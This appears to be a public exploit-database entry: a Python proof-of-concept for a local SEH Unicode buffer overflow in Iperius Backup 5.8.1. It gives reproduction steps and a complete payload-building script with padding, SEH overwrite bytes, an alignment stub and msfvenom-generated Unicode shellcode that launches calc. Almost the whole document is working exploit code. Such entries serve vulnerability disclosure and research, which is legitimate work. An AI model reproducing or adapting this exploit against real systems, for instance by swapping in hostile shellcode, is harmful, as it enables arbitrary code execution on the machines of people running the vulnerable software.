Iperius Backup 5.8.1 – Buffer Overflow (SEH)
# Exploit Title: Iperius Backup 5.8.1 - Buffer Overflow (SEH) # Date: 2018-12-26 # Exploit Author: bzyo # Twitter: @bzyo_ # Vulnerable Software: Iperius Backup 5.8.1 # Vendor Homepage: https://www.iperiusbackup.com # Version: 5.8.1 Local Buffer Overflow (SEH Unicode) # Software Link: https://www.iperiusbackup.com/download.aspx?v=free # Tested Windows 7 SP1 x86 # PoC # 1. run script # 2. open app and create backup job # 3. on other processes tab, select 'run a program or open external file' # 4. copy/paste iperius.txt contents into file location # 5. select ok to complete creating backup job # 6. run backup job # 7. app crashes; pop calc #!/usr/bin/python filename="iperius.txt" junk = "\x71" * 306 #popad nseh = "\x61\x62" #0x005b004a #pop esi # pop ebx # ret | startnull,unicode,asciiprint,ascii Iperius.exe seh = "\x4a\x5b" valign = ( "\x53" #push ebx "\x47" #align "\x58" #pop eax "\x47" #align "\x05\x12\x01" #add eax,200 "\x47" #align "\x2d\x11\x01" #sub eax,100 "\x47" #align "\x50" #push eax "\x47" #align "\xc3" #retn ) #509 bytes #msfvenom -p windows/exec CMD=calc -e x86/unicode_upper BufferRegister=EAX calc = ( "PPYAIAIAIAIAQATAXAZAPU3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AI" "AJQI1AYAZBABABABAB30APB944JBKLZH4BM0M0KPS0SYIUP1Y01TTKR0NP4K1BLLDK0RN4DK42O8LOH70JMV01KO6LOL31SLKRNLO0" "7QHOLMM17WK2L21B1GDKQBN04KOZOLDKPLN148ZC18KQJ121TKB9O0KQ9C4K0IN8ZCOJQ9TK04TKM1YF01KOVL7QXOLMM1GWNXK045" "ZVLC3ML8OK3MO43EZDQHTKR8O4M1XS2FDKLLPK4KB8MLKQJ3TKKTTKM1XPCYOTMTO41K1K310YPZ21KOIPQOQOPZDKN2ZKDMQM1ZM1" "TMU582KPKPKP201XNQ4KRODGKOXU7KZP7EVB26BH76TUGMUMKOXUOLLFCLKZSPKK9PD5KU7K0GN33BBO1ZM01CKOXUQS1QBL33M0AA") nops = "\x71"*109 fill = "\x71"*1000 buffer = junk + nseh + seh + valign + nops + calc + fill textfile = open(filename , 'w') textfile.write(buffer) textfile.close() |